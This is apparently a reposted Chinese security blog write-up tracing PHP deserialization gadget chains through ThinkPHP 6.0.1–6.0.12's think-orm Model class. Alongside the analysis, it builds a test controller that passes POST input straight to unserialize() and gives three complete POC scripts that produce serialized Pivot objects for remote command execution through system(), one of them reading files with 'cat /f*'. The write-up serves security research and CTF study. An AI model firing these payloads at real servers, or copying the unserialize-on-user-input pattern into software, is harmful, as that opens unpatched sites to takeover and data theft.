配置
序言 · ThinkPHP6.0完全开发手册 · 看云 (kancloud.cn)
6.0.1
composer create-project topthink/think tp6.0.1
"require"
: {
"php"
:
">=7.1.0"
,
"topthink/framework"
:
"6.0.1"
,
"topthink/think-orm"
:
"^2.0"
},
composer update
6.0.12
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
composer create-project topthink/think tp6.0.12
控制器仿照国赛样式写到了index控制器里写了个test方法
<?php
namespace appcontroller;
use appBaseController;
class Index extends BaseController
{
public
function
test
(){
unserialize(
$_POST
[
'a'
]);
}
}
分析
6.0.1—6.0.3
写好后发现不是很好理解,应该用回溯法写的,先这样吧。。。。。。。
先从旧版本开始,等会再看国赛6.0.12的
反序列化先找入口
/vendor/topthink/think-orm/src/Model.php
public
function
__destruct
()
{
if
(
$this
->lazySave) {
$this
->save();
}
}
lazySave可控,直接跟进save()
public
function
save(array
$data
= [], string
$sequence
= null): bool
{
// 数据对象赋值
$this
->setAttrs(
$data
);
if
(
$this
->isEmpty() ||
false
===
$this
->trigger(
'BeforeWrite'
)) {
return
false
;
}
$result
=
$this
->exists ?
$this
->updateData() :
$this
->insertData(
$sequence
);
if
(
false
===
$result
) {
return
false
;
}
// 写入回调
$this
->trigger(
'AfterWrite'
);
// 重新记录原始数据
$this
->origin =
$this
->data;
$this
->get = [];
$this
->lazySave =
false
;
return
true
;
}
直接调用了save()
方法没有传任何值,所以$this->setAttrs($data);
中什么都没执行,接着进入if语句
public
function
isEmpty(): bool
{
return
empty(
$this
->data);
}
protected
function
trigger(string
$event
): bool
{
if
(!
$this
->withEvent) {
return
true
;
}
想绕过if,让$this->data
有值,$this->withEvent
为false即可
接着进入updateData()
protected
function
updateData(): bool
{
// 事件回调
if
(
false
===
$this
->trigger(
'BeforeUpdate'
)) {
return
false
;
}
$this
->checkData();
// 获取有更新的数据
$data
=
$this
->getChangedData();
if
(empty(
$data
)) {
// 关联更新
if
(!empty(
$this
->relationWrite)) {
$this
->autoRelationUpdate();
}
return
true
;
}
if
(
$this
->autoWriteTimestamp &&
$this
->updateTime) {
// 自动写入更新时间
$data
[
$this
->updateTime] =
$this
->autoWriteTimestamp();
$this
->data[
$this
->updateTime] =
$data
[
$this
->updateTime];
}
// 检查允许字段
$allowFields
=
$this
->checkAllowFields();
...............................
}
第一个if还是进行了trigger()
判断,跟前边那个一样,可以直接绕过,checkData()
也没执行任何东西,接着跟进$data = $this->getChangedData();
public
function
getChangedData(): array
{
$data
=
$this
->force ?
$this
->data : array_udiff_assoc(
$this
->data,
$this
->origin,
function
(
$a
,
$b
) {
if
((empty(
$a
) || empty(
$b
)) &&
$a
!==
$b
) {
return
1;
}
return
is_object(
$a
) ||
$a
!=
$b
? 1 : 0;
});
// 只读字段不允许更新
foreach (
$this
->
readonly
as
$key
=>
$field
) {
if
(array_key_exists(
$field
,
$data
)) {
unset
(
$data
[
$field
]);
}
}
return
$data
;
}
控制$this->force
的值即可将我们传入的$this->data
的值给$data
接着进入下边的checkAllowFields()
,进入db()->instance()
,最后
return
$this
->instance[
$name
];
由于$this是类DbManager
的实例化,所以会执行__toString()
,下面的几部操作就跟tp5.1的很像了
__toString()->
toJson()->
toArray()->
getAttr()
先看下进入toArray()
的部分代码
$data = array_merge($this->data, $this->relation);
,这里$this->data
是可控的即:我们传入的值,之后会进行if判断,只要我们在初始化时不给$this->hidden和$hasVisible
值,默认就可进入这条if语句
跟进getAttr()
public
function
getAttr(string
$name
)
{
try {
$relation
=
false
;
$value
=
$this
->getData(
$name
);
} catch (InvalidArgumentException
$e
) {
$relation
=
$this
->isRelationAttr(
$name
);
$value
= null;
}
return
$this
->getValue(
$name
,
$value
,
$relation
);
}
最后会执行getValue
,用到参数$name
, $value
, $relation
,所以跟进一下getData()
看下$value的值
public
function
getData(string
$name
= null)
{
if
(is_null(
$name
)) {
return
$this
->data;
}
$fieldName
=
$this
->getRealFieldName(
$name
);
if
(array_key_exists(
$fieldName
,
$this
->data)) {
return
$this
->data[
$fieldName
];
} elseif (array_key_exists(
$fieldName
,
$this
->relation)) {
return
$this
->relation[
$fieldName
];
}
throw new InvalidArgumentException(
'property not exists:'
. static::class .
'->'
.
$name
);
}
再跟进getRealFieldName()
protected
function
getRealFieldName(string
$name
): string
{
if
(
$this
->convertNameToCamel || !
$this
->strict) {
return
Str::snake(
$name
);
}
return
$name
;
}
$this->convertNameToCamel
这里为空,$this->strict
默认也是true,所以直接return fieldName=this->data中存在键$fieldName
即会retrun返回(这里回溯到toArray()方法中,其实$fieldName就是我们data的键值)
if
(array_key_exists(
$fieldName
,
$this
->data)) {
return
$this
->data[
$fieldName
];
} elseif (array_key_exists(
$fieldName
,
$this
->relation)) {
return
$this
->relation[
$fieldName
];
}
所以最后的getAttr#value=
我们传入的$data的值
看完$value
,回到getAttr()
,进入getValue()
,else语句中会执行如下语句
}
else
{
$closure
=
$this
->withAttr[
$fieldName
];
$value
=
$closure
(
$value
,
$this
->data);
}
$closure = $this->withAttr[$fieldName];
,如果构造
private
$data
= [
"key"
=>
"whoami"
];
private
$withAttr
= [
"key"
=>
"system"
];
那么$fieldName=$data的key=key
,withAttr[$fieldName]=withAttr['key']=system
,之后执行 value, $this->data);,就相当于system('whoami');
,最后retrun返回即成功命令执行
POC
<?php
namespace thinkmodelconcern;
trait Attribute
{
private
$data
= [
"key"
=>
"whoami"
];
private
$withAttr
= [
"key"
=>
"system"
];
}
namespace think;
abstract class Model
{
use modelconcernAttribute;
private
$lazySave
=
true
;
protected
$withEvent
=
false
;
private
$exists
=
true
;
private
$force
=
true
;
protected
$name
;
public
function
__construct(
$obj
=
""
){
$this
->name=
$obj
;
}
}
namespace thinkmodel;
use thinkModel;
class Pivot extends Model
{}
$a
=new Pivot();
$b
=new Pivot(
$a
);
echo
urlencode(serialize(
$b
));
6.0.12
具体影响版本我也没测试,应该就是6.0.4—6.0.12吧,
前边都是一样的只是后边的else语句发生了变化:
之前
if
(in_array(
$fieldName
,
$this
->json) && is_array(
$this
->withAttr[
$fieldName
])) {
$value
=
$this
->getJsonValue(
$fieldName
,
$value
);
}
else
{
$closure
=
$this
->withAttr[
$fieldName
];
$value
=
$closure
(
$value
,
$this
->data);
}
现在:
if
(in_array(
$fieldName
,
$this
->json) && is_array(
$this
->withAttr[
$fieldName
])) {
$value
=
$this
->getJsonValue(
$fieldName
,
$value
);
}
else
{
$closure
=
$this
->withAttr[
$fieldName
];
if
(
$closure
instanceof Closure) {
$value
=
$closure
(
$value
,
$this
->data);
}
在执行$value = $closure($value, $this->data);
之前多了一条if判断,它会再一次判断$closure是否为闭包函数,所以在这里原来链就被断了,但师傅们想到了另一种方法,就是进入if中的getJsonValue()
,跟进看一下
protected
function
getJsonValue(
$name
,
$value
)
{
if
(is_null(
$value
)) {
return
$value
;
}
foreach (
$this
->withAttr[
$name
] as
$key
=>
$closure
) {
if
(
$this
->jsonAssoc) {
$value
[
$key
] =
$closure
(
$value
[
$key
],
$value
);
}
else
{
$value
->
$key
=
$closure
(
$value
->
$key
,
$value
);
}
}
return
$value
;
}
只要构造$this->jsonAssoc = true;
,就能进入if执行$value[$key] = $closure($value[$key], $value);
从而达到同样的效果
下面看一下具体绕过方式:
首先就是绕过if判断if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
先看in_array($fieldName, $this->json)
,之前也说过其实$fieldName就是我们data的键值,所以可以构造:
protected
$json
= [
"key"
];
当data的键为key时,$fieldName
就为key,那就满足了in_array
再看is_array($this->withAttr[$fieldName])
相当于判断withAttr['key']是否为数组,所以就可以构造:
private
$withAttr
= [
"key"
=>[
"key1"
=>
"system"
]];
绕过后便进入了getJsonValue()
——>this->getJsonValue(value); 其中value分别是data的键和值,上条链有说过。先看下最后设置的$data值
private
$data
= [
"key"
=> [
"key1"
=>
"whoami"
]];
跟进后看下foreach语句,fieldName=key,value的值=["key1" => "whoami"]
protected
function
getJsonValue(
$name
,
$value
)
{
foreach (
$this
->withAttr[
$name
] as
$key
=>
$closure
) {
if
(
$this
->jsonAssoc) {
$value
[
$key
] =
$closure
(
$value
[
$key
],
$value
);
}
所以这里withAttr[$name]=withAttr['key']=["key1"=>"system"]
,所以经过foreach后closure=system
将$this->jsonAssoc
设为true——>$this->jsonAssoc = true;
最后进入if,$closure($value[$key], $value);
=>system('data['key1]',value);
这里后边跟个$value对system是没有影响的
所以最后成功执行并retrun返回了
POC
<?php
namespace thinkmodelconcern;
trait Attribute
{
private
$data
= [
"key"
=> [
"key1"
=>
"whoami"
]];
private
$withAttr
= [
"key"
=>[
"key1"
=>
"system"
]];
protected
$json
= [
"key"
];
}
namespace think;
abstract class Model
{
use modelconcernAttribute;
private
$lazySave
;
protected
$withEvent
;
private
$exists
;
private
$force
;
protected
$table
;
protected
$jsonAssoc
;
function
__construct(
$obj
=
''
)
{
$this
->lazySave =
true
;
$this
->withEvent =
false
;
$this
->exists =
true
;
$this
->force =
true
;
$this
->table =
$obj
;
$this
->jsonAssoc =
true
;
}
}
namespace thinkmodel;
use thinkModel;
class Pivot extends Model
{
}
$a
= new Pivot();
$b
= new Pivot(
$a
);
echo
urlencode(serialize(
$b
));
还有个针对6.0.9以后的poc
<?php
namespace thinkmodelconcern;
trait Attribute{
private
$data
=[
'jiang'
=>[
'jiang'
=>
'cat /f*'
]];
private
$withAttr
=[
'jiang'
=>[
'jiang'
=>
'system'
]];
protected
$json
=[
"jiang"
];
protected
$jsonAssoc
=
true
;
}
trait ModelEvent{
protected
$withEvent
;
}
namespace think;
abstract class Model{
use modelconcernAttribute;
use modelconcernModelEvent;
private
$exists
;
private
$force
;
private
$lazySave
;
protected
$suffix
;
function
__construct(
$a
=
''
)
{
$this
->exists =
true
;
$this
->force =
true
;
$this
->lazySave =
true
;
$this
->withEvent =
false
;
$this
->suffix =
$a
;
}
}
namespace thinkmodel;
use thinkModel;
class Pivot extends Model{}
echo
urlencode(serialize(new Pivot(new Pivot())));
原文地址:https://xz.aliyun.com/t/12630
若有侵权请联系删除
原文始发于微信公众号(红蓝公鸡队):ThinkPHP6.0 反序列化漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论